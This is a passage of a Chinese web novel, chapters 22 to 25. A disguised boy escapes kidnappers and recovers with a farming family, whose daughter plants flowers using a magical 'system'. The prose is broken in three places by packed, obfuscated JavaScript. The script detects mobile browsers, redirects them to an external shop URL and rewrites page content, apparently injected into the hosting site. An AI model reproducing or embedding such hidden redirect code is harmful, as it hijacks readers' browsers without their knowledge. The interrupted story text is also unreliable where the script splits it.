黑衣人低头有些自责的说:“已经派人保护小少爷了,但是属下无能,还没有查到。” “下去吧。”俞宁不用查,也能猜出来是哪些人的手笔了,看来,这京城已经必定不会太平了。 22. 第22章 三天后…… 马车在一座不大的府外停下,守门的人一看见马车上的标志,立马打开了门让马车进去。 “公子,你先去歇息吧,赶了几天的路了。”竹秋看俞珩竟然自己动手收拾屋子,立马上去接手。 “没事,我来吧。”到了暂时安全的地方,俞珩也换回了男装,好方便行事。 为了不引人注目,所以俞府临时买了一个小院子,大概很久没有人住了,又匆忙动身下没有安排太多人手,看起来还是一片荒芜。 俞珩虽然也是世家子弟,锦衣玉食长大,但是俞府从来家教甚严,很多事也要求他们亲手亲为,所以他并没有京城纨绔子弟的那些不良习性。 “少爷,赵大总管求见。”郑伯从屋外进来向俞珩禀报道。 赵大总管是俞家安排在商州管理生意的人,虽然他们家在商州并没有多少势力,但是一些小生意还是在做的。 “让他进来吧。”俞珩颔首示意,小小的一个人装起老成来还有一点好笑。 “竹秋姐姐,麻烦你去泡杯茶水。” “啊?哦。”竹秋听见吩咐,回过神来慌忙转身退下,可惜俞珩是背对着她的,并没有看见她有些苍白的脸色。 “珩少爷。”一个衣着华贵的大腹便便的中年男人笑眯眯的走进来朝他行了一礼。 俞珩见他满脸油光,和精明打量的目光,有些不舒适的移了移身子。他皱了皱眉,有些懊恼自己以貌取人,下意识把那种不舒服的感觉忽略掉。 “嗯,你有什么事吗?”俞珩有些不解地问。 “听闻小少爷今日到来,老奴本应该大宴宾客为小少爷接风洗尘的,只是最近这杂务太多……”赵总管弯着腰,赔礼道。 “没有关系,我不在意这些俗礼。” 俞珩见他还吞吞吐吐的样子,好像还有话说:“还有何事?” “铺子里出了点问题,本想着让少爷去看看,但少爷刚到……”赵总管又急忙解释,“这许多账本不好移动,怕出了纰漏。” 言下之意就是想让俞珩亲自去一趟铺子里。 俞珩点点头表示理解:“那我去看看吧,反正现在也没有事。” “少爷……还是换套衣服吧。”竹秋低着头拿了一套女装。 俞珩板着脸同意了,现在特殊时期还是谨慎小心一点好。可惜他如玉般的耳垂染上了绯红却出卖了他此时的心情。 一架简单的马车从侧门驶出,一会儿就混入人群中,毫不起眼。 本来坐在车上看书的俞珩看见竹秋有些不对劲的模样,关切地问:“竹秋姐姐,你怎么了?身体不舒服吗?” 哪知本来就脸色苍白,额头冒汗的竹秋一听见俞珩问话,身子更是一颤一颤地抖动。 俞珩这下脸色一变,一把揭开马车的帘子,果然不对劲,这是出城的方向! 虽然他才刚来,但是当时进城的时候他特意看了一眼,所以才有印象。 连马车驾驶的人也是陌生的人。 “少爷,奴婢…奴婢不是故意的,他们用我的家人来要挟我。”竹秋见俞珩也发现了,开始哭了起来。 俞珩并没有在意她的哭诉,只觉得现在自己浑身发冷,汗毛倒竖。因为他根本就没有力气了,连意识都越来越模糊。 在闭眼晕过去最后一刻,他大脑灵光一闪,是那杯茶! 是谁? 竟然买通了母亲给他的丫鬟!那赵总管又在里面扮演了什么角色? 他们为何不直接杀了自己?这是要干什么?想用自己去要挟家里人吗? 可惜没有时间了,俞珩还没有想通就晕过去了。 * 亭台楼阁,风景如画的某处府中,小亭中正有两个人在下棋。 “你倒是会享受,寻得了这处好地方。” 对面轻笑一声,“世人都说‘高处不胜寒’,我倒觉得这高楼的风景格外不错。” “还是大哥棋高一着啊!”一黑衣男子斜坐而倚没有搭这个话,反而眉眼轻佻笑盈盈地看着眼前人。 闻言,一袭暗紫衣的男子正要落子的手微顿,抬眸看向他:“二弟手段也不错!固然外部固若金汤,只要从这内部下手,必定溃不成军……” 黑衣男子仿佛对他的冷嘲热讽充耳不闻:“接下来……” 圆领紫袍的男子一棋险胜:“哼,不过是条小鱼,就当给他们个教训。该撒饵了,愿者上钩……” 黑衣男子目光闪动,一双寒潭般的眼眸显得幽深无比,勾唇一笑不再说话。 * 一路静谧无声,唯有车轮碾过小路发出“咯吱咯吱”的声响,帷幔晃动,时不时被吹开一条缝隙。 马车被石子给挡着颠了一下,一个大汉的叫骂声回荡在荒无人烟的野外。 一个一身短褂干瘦模样的人有些担忧地向旁边的人说:“老大,这小娘子看起来来头不小啊!” 坐在车架上的人挥了挥手中的马鞭,不耐烦的样子:“怕啥?舍不得孩子,套不着狼,昨天给的银子不香吗?” “那位大人可是说了,现在南边可不太平,只要卖到那边去,我们还可以再赚一笔。” 俞珩在一阵颠簸中醒来,他发现自己已经不在先前那架马车上了,身上也恢复了力气,只是手脚都被绑着。 幸好嘴巴没有被赌上,呼,长舒一口气,俞珩开始想接下来的对策。 他刚才已经听到了这两个人的对话,知晓了大概情况,看来对方是求财不求命了。慌忙之间潦草地想出一个办法。 “停……停车!”马车里传来一道小小的声音。 “吁……”赶车是两个人对视了一眼,“大哥,她好像醒了。” “我要方便。”俞珩咬咬嘴唇,夹着嗓子小声地说。 两个大汉看着女孩长长的睫毛微颤,垂髻以碧色丝带扎着,露出白玉般小巧的耳垂,杏子眼里映着水色的模样。 两人心中满意,“果然绝色,这可能卖不少钱呢。” “去吧去吧!”他们倒也不怕一个小丫头耍花招。 他们看俞珩的同时,俞珩也在打量他们,窄袖短打,一个一脸横肉,一个干瘦精明。 顿时,他瞳孔一缩,有刀! 看来是惯犯了。 他有些犹豫要不要现在逃跑,不过形势已经不容他犹豫了,机不可失时不再来。真等到那个时候,他还不知道要遇到什么困境呢。 俞珩被解开手脚从马车上推了下来,他故意跌跌倒到地走路,以减轻他们的忌惮。 好在两个大汉也没有起疑心,毕竟他这种看起来身份不凡的小姐模样,这深山老林也跑不出去。 半晌之后。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065455|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “怎么还没有动静,这官家小姐就是麻烦!”干瘦侯猴骂骂咧咧地来看。 过了一会儿,他踉踉跄跄地跑过来,“大哥,不好了!那小娘子跑了!” “愣着干嘛,那你还不去追!”胖子一巴掌拍在他头上,路上还有马车,虽然附近没什么人,但是他也不能丢下东西不管。 “诶诶,是……”瘦子抱头鼠窜,没有质疑大哥决定,急忙去找人。 俞珩一炷香之前已经一头扎入密林,他跌跌撞撞地往前跑,脚下的地面有些陡,他深一脚浅一脚地踩着,听见身后不远处的动静,根本不敢停下来。 干瘦猴拿着刀骂骂咧咧的砍掉周围的杂草树枝,没想到,看起来柔弱无依的小娘子跑那么快! 他却没注意到自己已经完全跑错方向了,突然,耳边却传来了些草叶的细微抖动声。 第一瞬间他是没注意到的,当声响变大,他猛地顿住手。 看见一只黄黑条纹的大虫走出来,瘦猴差点一屁股吓得坐在地上,当大虫都要扑过来了,他才记起自己手里还有大刀。 打斗纠缠了半天,老虎脖子被砍到了,可惜干瘦猴胳膊也受伤了,他见不敌,也没机会找人了,于是飞快地往回跑。 幸好那只大虫不知道因为什么原因,竟然没有追上来,干瘦猴吓得屁滚尿流,哪还有心思追人。 “大哥!山上有老虎!快走……” 看着兄弟一副受伤惨样还得治伤,胖子骂骂咧咧的没个好脸色。 “没用的东西,连个小娘子都抓不住!” “算了,大哥,想想那几十两银子。已经够我们先用着了……”瘦子捂着流血的地方催促着,他可不想失血过多而亡啊。 他们想着已经得到了报酬,最后还是驾着马车跑了。 俞珩并不知道这个插曲,他不断地向前跑着,汗一滴一滴从脸颊上落下,打在干涸,有些苍白的嘴唇上。 衣服也因摔了跟头的缘故,显得有些破烂。但他已经顾不了那么多了,向前跑,向前跑。 天快黑了,下起了雨。 他本来就快几天没有进食了,今天体力消耗也大,最后踩在了陷阱里,竟然晕了一天。 要不是林家人恰好路过,要不是他穿的衣服鲜艳,可能俞珩就饿死或者冻死在山上了。 当然,也算他倒霉,小周山后头还有一座大山,平时也鲜有人去,他硬是从中部跑了出来。但是足够幸运的是他并没有碰上野兽。 迷糊中,有一只温暖的手摸了摸他的额头,接着有人喂他温热的粥和药,俞珩挣扎着想要醒过来,可是最后不知怎地睡了过去。 第二天,俞珩终于醒了过来,他先是不适地眯了眯眼,再转头往外看。 就看见了林知,俏丽的小脸衬着一双水润润的大眼睛,双颊上一对如豆粒大的小酒窝,微微一笑清新自然。 “小姐姐,你醒了?”林知一大早就来看昨天捡到的人,她殷勤地给俞珩递水。 俞珩听得一愣,但看见自己的衣服打扮,便知道他们是误会了,所以从容淡定的接过碗,“谢谢你们救了我,我叫俞……俞小花。” 最后俞珩还是决定化名跟他们相处,自己现在是女孩儿的身份,以免给他们招来麻烦。 而且他现在还不知道这里的具体情况,还是谨慎一点为好。 23. 第23章 “阿俞?你是哪里人啊?怎么流落在山里了?”林知假装没看见对方戒备的样子,听见这个名字嘴一抽,故作天真地问。 “我……我其实是逃出来的。”俞珩低着头。 林知看见俞珩泫泪欲泣的模样有些不好意思,自己是不是问到人家的伤心事儿了? 俞珩心中百转千回,想什么样的借口可以不让他们报官暂时收留自己呢?他现在并不清楚外面有多少人在找他,他爹他们发现自己不见了没有? “我父亲给我娶了一个继母,她整天对我动辄打骂,甚至不给我吃饭。父亲被她蒙蔽,对我也是不管不顾,家里全是她的人,我……我就偷偷逃了出来。” 俞珩将故事声泪俱下地说出来。 林知一挑眉,这是经典的渣爹和恶毒继母的故事? 敌不动,我不动,林知面色不显,还是一副天真小女孩的模样。 林知同情地摸了摸他的头,哎,有了后娘就有后爹,“你先在这里住下吧,我们不会赶你走的。” 于是,不到一天,俞珩的“身世”就被林家人传了个遍,连林智和林敏都老是进来安慰他。 虽然有些无奈地摇摇头,但俞珩还是安心在这里修养下去了。 — “废物!成事不足败事有余。”赵总管瘫在椅子上怒气冲冲地摔了茶杯。 一个小厮跪在地上不断磕头赔罪。他一脚被踢翻在地,又马上爬起来。 “行了,不必再管了,封锁消息,派人在去京城的路守着。他一个小孩子翻不起什么浪花,就算有,也没人查的到是我们干的。”赵总管黑着脸说。 — 当晨光偷偷地在散发着皂角香的衣被上爬着,爬满这一面老墙的时候,院子里就响起了林家孩子们“人之初,性本善,性相近……”的读书声。 俞珩现在已经能勉强下来走动了,他默默观察了一下,发现林家人虽然贫苦,但是衣着整洁干净,家里也是井井有条,不由新生好感。 当他和林阿爷林阿奶打了交道后,他们一个儒雅睿智,一个坚毅沉稳。 果然,俗话说:“家有一老,如有一宝。”他隐约有些明白了林家人的家风。 此时俞珩扶着出了门,站在院子里四处张望。 林阿奶带着钱氏几人在旁边园子里拔草和挑水浇菜,地里也没什么活干,几个孩子她也不约束,管他们自己玩。 罗氏现在也出了月子,阳光正好,微风不燥,她拿着针线篓坐在院子里的树荫下补衣服。 这棵树是从园子里伸出来的,当年林阿爷一眼看中,就在这里建了房子。 草木葳蕤,远处一林树叶沙沙。 林礼带着几个弟弟妹妹在院子里玩。微微摇曳的老树下,碎了一地的泛着光的笑声。与阳光交织着,竟分不清哪是笑,哪是光。 俞珩看着一屋子的热闹,有些羡慕。他兄弟姊妹少,仅有一个兄长和妹妹,但他兄长平时课业繁重,很少跟他玩。而他妹妹年纪尚幼,他们更玩不到一起了。 家里祖父威严,也很少亲近。 “俞小姐怎么站在这里?”罗氏绣得眼睛有些涩,抬起头来就看见俞珩待着发愣的模样,温柔地问道。 俞珩听见声音,笑着回道:“伯母叫我阿俞就行了,嗯,我出来走走。” 罗氏温柔的模样让他想到了自己阿娘,不知道她现在怎么样了,万一听见自己失踪的消息一定很着急吧? “俞姐姐,跟我们一起玩吧!”在旁边观望的林敏跑过来拉了拉俞珩的衣角,扬着小脸带笑地问。 “好啊……”俞珩看着几个或蹲或坐着的几个小孩儿眼巴巴的看着他,于是就答应了。 林慧他们最开始还担心俞小姐看起来不好亲近,不会接受他们的邀请,但是这么孤立人家,也实在不是好的待客之道。 院子里的热闹林知一概不知。 系统盯着俞珩几天了都没发现什么异常,林知一想也是,对方看起来就家境不差,而且他们也是阴差阳错才救了人,应该不是图谋他们家的。 她现在另有忧愁的事。 林知正趴着床上怨声载道,难道自己真的是穷的命了吗? 上次花了积分,又只剩下几百了,任务除了完成不了的,也还没有更新。 林知百无聊赖之下,只好恢复老工作——系统刷题! 只不过一般情况下能遇到合适的问题是很少的,高报酬的更是少见,所以她的积分涨幅实在小的可怜。 她之前还想着春种前攒点积分把家里的麦子种换成商场的呢,不过因为她要的量不小,所以需要的积分也是不少。 系统就看着林知保持单手撑着下巴,另一个小手快速滑动任务榜这个动作半天。 只是她半天也没有看见合适的,反而打了个哈欠。 【宿主,你一次都没有成功收录商场的种子种出来的植物。】系统好心提醒她。 “我知道啊,那不是种的白菜萝卜还没有成熟吗?” 林知不想暴露自己在提醒下才想起来这回事儿,为了掩饰一下尴尬,她讪讪的摸了摸鼻子。 【系统收录不同世界种出来的物种报酬是很高的,而宿主只需要少量积分兑换种子,这几乎是一本万利的事儿。】系统点到为止。 “对啊!”林知双眼一亮,突然就理解到了系统的意图。 系统:……果然,这个家没有我,迟早得散! 她与其每天在这儿苦逼的刷题,还不如种地,到时候一收获那滚滚积分还不是手到擒来。 “可是,现在已经是秋天了,得种点什么好种还来分儿快呢?”林知苦思冥想一会儿后,小手一拍,“有了,花!” 秋天适合种植的花还不少,而且品种丰富,如果到了冬天,市场上的花种类变少了,说不定他们还可以拿去卖钱了,简直就是一举两得。 说干就干,林知在商场里挑选了好几种不同的花,尽量都是那种生长期短、适应性强,好养活的。 最后咬咬牙,林知忍痛把最后仅剩的几百积分也花了,“搏一搏,单车变摩托!” 她把一堆花籽分类用油纸装好,准备出门种起来。 蔚蓝色的天空在深秋时节,晶莹透明,偶尔几团白云像弹好的羊毛,慢慢地飘浮着。 林智看林知像只欢乐的小鸟一样连蹦带跳地出门,脸上也不觉浮出笑容,朝她挥挥手叫道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069302|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿姐!” “你们这是干什么?”林知看见林智他们在院子里拿着一本书正在和俞小花说着什么。 林智立马蹬蹬蹬跑到林知身边举起手中的书,“我们刚才在院子里读书,刚好遇上许多不理解的地方,还是俞姐姐替我们解答的。” 其他三小只也是忙不咧迭地点点头表示的确如此。 其实是他们觉得带俞小姐玩那些幼稚的游戏,有些不好意思。 只好拿着今天刚学过的内容来讨论讨论,哪料到俞小姐懂得还不少,直接把他们的问题给解决了。 俞珩见林知看过来,认出来她就是当时自己刚醒来看见的小女孩。不由嘴角含着一抹淡淡的笑,礼貌的点了点头,耳垂却有些绯红。 看俞珩这么友好,让先前一直怀疑她的林知有些不好意思的挠了挠头。 “行,那你们继续吧,我先去种点东西。”林知朝他们挥了挥手。 “阿姐,我来帮你吧!”林智放下手中的书,屁颠屁颠地跟在林知身后。其他几个孩子也很好奇,于是丢下手里的东西就跟上去了。 俞珩发现林知虽然不是最大的,但是好像是家里孩子的主心骨。反正他现在也无事可做,脚步一顿,也跟了上去。 林知大摇大摆在院子里巡视了一圈,林智看她一会儿摇头,一会儿点头的样子有些疑惑。 “阿姐,你这是在干嘛呢?种东西不应该去地里吗?”林智挠了挠头。 “不是,我是想要种花。”林知观察了一下周围,发现院子里不太有地方种花,只有墙角可以试一试。 难道要种在菜园子里? 林知眼神不住向一旁的园子飘去,可是看见林阿奶拔草的身影打了个寒碜,算了,家里肯定不会准许的。 “种花?哈哈哈,林知,你吃饱了撑的吧?这都快大冬天了,还种花……”刚从外面野回来的林义无情嘲笑。 林礼他们一听见这猖狂的笑声,扶额无语,二哥怎么就不长记性了,他都被二妹/姐坑了多少次了,还非得招惹她。 只不过他们并没有“好心”地提醒林义,而是笑眯眯并关怀地看着他。 果然林知眼珠子一转:“怎么?你不信?那我们来打个赌呗。” 这下连俞珩都感受到了一股浓浓的不怀好意的意味。 林义彻底傻眼,“不会吧,你还真打算种啊?那不能吃不能喝的,白费力气嘛这不是。” 其实他心里下意识是相信林知能种出来的,毕竟有那么多前车之鉴,林知看着可不是一个简单的人,她连死老虎都能碰上。 可别提了,他当时真的看见他爹他们抬回来一只几百斤的老虎的时候,震惊得嘴巴都可以塞得下两个鸡蛋了。 俞珩也有些不明白,虽然倒也不是没有人这个季节种花。 京城的达官贵人们家里还会修建专门的花房,安排匠人养护,若是开了好的花,还会以此为由,广发请帖办宴会邀人赏花。 就连他一年都得陪自己母亲去几百次这种宴会呢,但是他们是有闲有钱,兴趣盎然。 或者也有花市的人专门培育来卖。 但是……连温饱还是问题的农户之家,为何种花? 24. 第24章 林知没有立刻回复林义的问题,而是故作高深地摇摇头:“二哥,你觉得你的人生目标是干什么?” 林义虽然不理解,但是还是认真想了想,“当然就是吃得饱饱的,穿的暖暖的,长大以后攒钱娶媳妇儿,种几亩地,养大孩子给他们娶媳妇儿。” 林知:…… “当然,你这种也算,是最基本的生活需求嘛。但是人的一生不可能只有这些东西,多没意思啊!” “这人啊,最重要的就是有盼头,就是是心有期翼。就算身在泥泞之中,我们也应该抬头看天空!” “因为,无关财富、地位和贫贱,这美好的东西呢,才是最公平的每个人都能感受到的。” 林知声音不大,却掷地有声。 这番解释是说的几个人一愣一愣的,包括家里的林阿奶她们几人。 她们也许从未想过这些东西,因为没有时间,他们一生下来就开始被命运推着往前走,在土地里刨食,担忧一年生计,操劳半生,养大一个个孩子又为他们娶妻生子,好像没有机会抬起来头来看看天空。 被裹挟着跌撞的一生,忙着生存、忙着活着、忙着繁衍和忙着死亡…… 这一刻,她们心中好像有了些许改变。 俞珩也在心中反复咀嚼这一段话,心有感悟。 林知看大家没有说话,还在解释下去,“花漂亮吧,看着花木一点点长大,在这些平凡的堆积里,好像生命也渐渐丰盈起来。” “弄花一岁,看花十日。灿烂的开放只有短短十天,甚至几天,但是让我们对于美有一种很深的珍惜。” “一个人的心中有理想,有希望,人生才能活得精彩,大自然的花香风景能让我们暂得舒畅,而心里的花香,却能给我们一世芬芳。” 林知并没有意识到自己的这段话给大家心里种下了一颗幼小的种子,只待阳光雨露便可以茁壮成长起来。 “阿姐,我明白了!所以要在心里种花,这样人生才不会荒芜。””林智板着一张小脸意味深长地点头。 “我弟弟真聪明!”林知惊喜地摸了摸林智的小脑袋。 林义不解地挠挠头,什么花啊人生啊,怎么联系到一起的? 林知只是找个话头,并没有重视这段话,当然也没有在意他们或不赞同或深思的表情。 “行了,耽误了我这么长时间,你们可得帮我把花给种上啊!”林知理直气壮地把他们统统抓了壮丁。 “阿姐,那种在哪儿啊?”林智见林知只豪情万丈的放话,也不具体说。 林阿奶他们看着院子里林知一个人领着剩下的小孩儿忙得团团转,好笑的随他们去了。 “既然打算卖的话,那就找盆儿给种上吧。”可惜一行人找遍整个家也没有找到什么盆,别说陶盆连木盆也没有。 倒是有缺口的木桶,不过已经被林阿奶拿来种蒜苗了,就摆在窗台下。 “有了!”林智“蹬蹬蹬”地跑了,又拿着一个东西跑回来,“阿姐,用这个可不可以啊?” 林知定睛一看,是一个竹篮,大体上已经成型,只不过有些地方有些歪歪扭扭的。 “二叔编的竹篮?”林义一脸懵逼的看着他们,“所以你们不会打算用这个种花吧?” “对呀对呀,这个挺好的啊!既透气透水,还清新自然多好看的。”林知忙不迭地点头,把竹篮拿在手里爱不释手的翻来覆去地看。 “就是有点大了。”林知想着最好要那种成人手掌那么大差不多吧。 “可是林知你哪里来的种子?”林义突然想起来一件事才问她。 “呃……”林知手一顿,完了!忘记这一茬了,懂了更多东西可能是做梦梦到的,但是也不可能凭空变出东西啊! “之前村里来了个货郎,我在他那儿买的。”林知绞尽脑汁编了一个借口。 村里时常有卖货郎肩挑货担,一边走一边摇鼓叫卖,日常生活用品包括油盐酱醋茶,针头线脑、胭脂水粉、团扇等应有尽有。甚至小孩子的虎头鞋、零食等,也都可以在担子中找到。 每次卖货郎来了,村里都热闹得不行。因为这对于村里的孩子简直就是一个琳琅满目的宝库。 当然他们只是看看,因为身上并没有多少钱。 可林知不在其列,她爹常在外面做工,又疼孩子。所以她身上平时还是会有一两个铜板。 对于此,林义只能表示非常懊恼嫉妒,林知肯定是没见识被人给骗了,这简直就是暴遣天物。 林知顶着林义谴责的目光,不由缩了缩脖子。她突然觉得自己不能一次性拿出所有的花种子出来了,容易让人怀疑。虽然不会有人去问货郎,但是还是小心为上。 林知现在终于尝到了“冲动消费”的苦果了,她苦着一张脸,“系统,可以退货吗?” 系统:…… 【一旦离柜,概不退换。】它努力扯了扯嘴角,保持微笑。 林知先前可买了不少花种,她还打算多种一些呢!这下好了,她拿出太多花种可不容易找到借口,看来只好先种一种花了。 一想明白,林知就耷拉着个小脑袋去找她爹帮忙编一些小篮子。 今天林二郎还恰好在,他听了林知他们的想法和要求,反正现在不忙,就上手给他们编了。 林阿奶看见林二郎竟然也在院子里跟他们一起混起来了,还要编劳什子竹篮,气不打一处来:“二郎,你杂房里不是有些用废了的竹条嘛?就用那个编吧。”这是怕他太疼孩子,拿家里的好竹条给他们玩呢。 别看后山的竹子多,但砍回来划成条也得废不少人力时间,哪儿能给他们随便祸祸啊。 倒是林二郎用废了的竹条,她没把这东西放在心里,所以她很不心疼的让他们跟着一起祸祸。 “阿娘……不就是几个竹条嘛?用不了多少,回头我给补上就行了。”林二郎看着林知他们一脸无辜期待地看着他的模样,忍不住开口道。 林阿奶:…… “你就宠她吧……” 说罢,偏过头去不理他们一群人了。 院子里一群人找个地方坐下。 林二郎笑呵呵的拿着一根竹条开始编,他手指翻飞,动作流畅,一会儿就可以看见一个小竹篮的雏形了,一刻钟左右一个漂亮的小竹篮就编好了。 林知他们目瞪口呆,难怪不得,虽然有很多人会编竹篮,也有很多人卖,但是他们家的竹篮一向受欢迎呢,这技术也太好了吧。 “你们阿爹当年学手艺的时候,就连他师傅都说你们阿爹手艺好呢。”罗氏在一旁笑眯眯地说道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074356|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >亏得林二郎当年学成一身手艺,这些年,家里的桌子椅子凳子,床架子,都是他做出来的,用的木料也是自家山上的好料子,给家里省了不少事儿呢。 林二郎听见他媳妇儿夸他,不好意思的看过去还挠了挠头。 他们俩对视了一眼,又不好意思的马上分开,林二郎看秀娘俏丽的脸蛋一红,瞬间干得更起劲儿了。 “来,林义林礼,我教你们编这个,学一些手艺,以后也有些一技之长。”林二郎一边编还一边指导一下几个孩子。 林慧和林敏也凑了上去。 林知看了看她爹,又看了看她娘,终于明白了什么是如胶似漆。 自己明明只是路过,却好像被塞了一嘴狗粮。可惜其他人还没有开窍,根本没有注意到林二郎和罗氏之间的氛围。 风儿轻轻扬过,落叶在地上打了个旋儿。 院子里只剩下安静的编竹声和一两声讨论。 “二哥,你做得可真丑!”林智看了看林义手上的竹篮,再对比了一下他爹已经做成的两个,皱了皱小鼻子道。 “啊哈哈哈……” 大家看着林义手里七扭八拐的竹篮,忍不住哈哈大笑,羞得林义脸都红了。 “有这么夸张吗?” 连俞珩都被他们感染到了,不由带上笑意。 “凡事都有第一次,人不是生下来就什么都会的,熟能生巧嘛。做事要有毅力,敢尝试,可不能仅仅因为别人的眼光和嘲笑就心生放弃了。” 罗氏看林义打算扔掉竹条的动作劝戒道。 “二叔母,我知道了。”林义低着头不好意思了又乖乖拿起竹条。 短暂的功夫,林二郎已经做了三个了。 他就这么坐着,一边编,一边和林知他们讲解,这种小竹编并不难,速度也很快,林知的第一个成品很快就出来了。 林知对比了一下其他人的竹篮,满意的对自己手上这个点了点头,嗯,还好不是最丑的,至少不会嘲笑她了。 夕阳慢慢钻进薄薄的云层,刹那间染红了西边的天空。小院儿被裹上了橘黄色,柔柔的光泻下来,使万物笼罩在柔和的夕阳中。 林知他们一共做好了三十来个竹篮,连俞珩也来了兴趣,上手做了一个。 院子里摆着一溜儿的小篮子,林知打发林义他们给填上土,林智和林敏撅着小屁股挖土,那叫玩的一个不亦乐乎。 为了保险,林知先前已经把种子拿了出来,她打算暂时先种酢浆草,这种花在秋天最是好种。 林义几人已经按照林知的嘱咐提前把土打湿,等土微微潮湿,先了埋一半的土。 她拿出花种,埋在竹篮里,大概每个间距两厘米,一个盆里放了三颗,在种球上面覆土三到五厘米左右深即可。 林知想着酢浆草种下土后浇一次透水,然后要放在没有强光直射的地方。 一群人又给搬到老树边的墙角下。 终于大功告成,林义感觉自己都要累瘫了。 林礼拍了拍他的肩膀:“不就是几个竹篮吗?” 林义被林知什么“竹篮要多宽多深”“浇水要多少”“再盖一层薄土”要求给折磨不轻,压根就不想反驳他。 夜色一点点的沉了下去。 林家人也开始吃夜食了。 25. 第25章 俞珩看着钱氏还专门为他准备的一份饭菜放在他面前,虽然菜品没什么不一样,但是还是很不好意思。 “伯母,不必讲究太多,实在是太麻烦你们了。” 钱氏有些局促地擦了擦手说:“还是怕俞小姐不习惯……” 俞珩见大家都在,正是一个好时机。 他站起来走到林阿爷面前,跪下郑重地行了一个大礼,抬起头来说:“还未感谢林家阿爷大义,虽然救命之恩无以为报,但日后有机会我一定会尽力报答你们的。” 林阿爷和林阿奶实在是吓一跳,急忙要扶他起来。 哪知俞珩转了个方向,又拜了拜林大郎几人,“若不是伯父您们从深山将我救出来,还替我寻医问病,收留我修养,恐怕我已经活不了了。” 看着小小的人儿板着一张脸郑重地行礼,如此懂事,林阿爷很是感慨。半晌他叹气一声,“你暂且安定下来,不必多想。” 几个下午和俞珩已经相处不错的孩子同情地点点头,心里想着“俞小姐/俞姐姐也太可怜了……” “好,那你们以后叫我阿俞吧,总小姐小姐的叫,太生分了。”俞珩眉眼弯弯笑起来。 吃过饭后,将俞珩送回房喝药。他见林家人应该是有事商量,也没有强留。 俞珩一走,林三郎忍不住激动得眼睛都红了,“阿爹,你猜那只老虎卖了多少钱?” 原来今天林大郎和林三郎一早就用板车推着老虎去了县城。怕人多眼杂,所以也没带太多人,他们两个成年人还是推得动的。 林三郎精明,也在县里认识不少朋友商人之类的,所以他直带着林大郎去找了一个专门售卖皮货的人。 林阿爷见他连自己都敢打趣了现在,不满的用烟杆敲了敲桌子。 林三郎嘟嘟嚷嚷着:“一点趣味也没有。” “三叔,卖了多少啊?我猜一百两!”倒是林义很捧场,他急吼吼地问。 “一百六十五两呢!”没等林三郎再吊大家胃口,林大郎自己也忍不住说了。 林三郎也没抱怨,还一脸幸福的说:“我滴个乖乖,我长这么大第一次摸到这么多钱呢!” 这段时间,大家还是准备磨豆腐和卖豆腐,除了今天因为有事没去,半个多月除去成本竟然赚了快二两,本以为都够多了,没想到,卖次老虎竟然还更多。 嘶—— 大家不约而同倒吸一口凉气。 “唉,要是处理好了单独卖,光是那虎皮都能卖一百多两,更别说虎骨、虎鞭啥的,还可以泡药酒……可惜我们也不会硝制。”林三郎惋惜地摇摇头。 就是可惜了没有那个手艺。 “唉,要是我们总是能碰上老虎就好了。”林智也学着他三叔的模样摇摇头。 林知无语地看着她弟,笑骂了一声:“你当那大老虎是地里的大白菜啊!到处都是。” 当然,地里的大白菜也不是到处都是的。 她心里默默吐槽着:弟弟,你真是我的亲弟弟耶,光是这一次都把你姐折腾得够呛,再来几次还得了,难怪不得猎人是个高危职业呢。 林智一脸神神秘秘地凑到他姐耳边悄悄的说:“没事儿,阿姐,我们还有大黄呢。” 林知看着林智眼睛亮晶晶地看着她,扶额无语。 大黄是他们给那只小虎崽取的名字,本来刚出生的老虎也没有母亲带着也没有奶喝,肯定是活不成了。 没想到,恰好隔壁赵婶子家的大狗生了一窝小狗崽子。 林智他们眼热,竟然把小虎崽给放了进去,还好狗妈妈不知道为什么,可能是母爱泛滥吧,没把虎崽咬死还给喂了奶。就这么,小虎崽挣扎着活了下来。 林知现在明白了林智的想法,他竟然还想着把小虎崽给养大了卖钱。也不由直呼一声:地狱空荡荡,恶魔在人间啊! 不过孩子现在还小,说不定到时候养出感情了,就舍不得了。 这些想法都在林知脑海之中片刻而过。 林阿奶他们已经在讨论明天重阳节怎么过了,要派多少人去县城,买哪些东西。现在家里也有钱了,得添些过冬的衣物了。 “阿奶,我们也想去庙会!”林义觉得自己也能老是去县城里了,反正都是买东西什么的,还是庙会更有意思。 集市是三日一集,都是附近几个村子聚在一起,在还比较大的上河村里聚成集市。 再不济,他连镇上的集市也是能常去的。 可是庙会机会难得,只会在每年的正月十九都有一场特别盛大的庙会。那是大庙会,其余小庙会则是逢重大节气而设立,这些传统好多年了。 “我又没说不让你们去。”林阿奶看着他这猴急的模样嫌弃道。 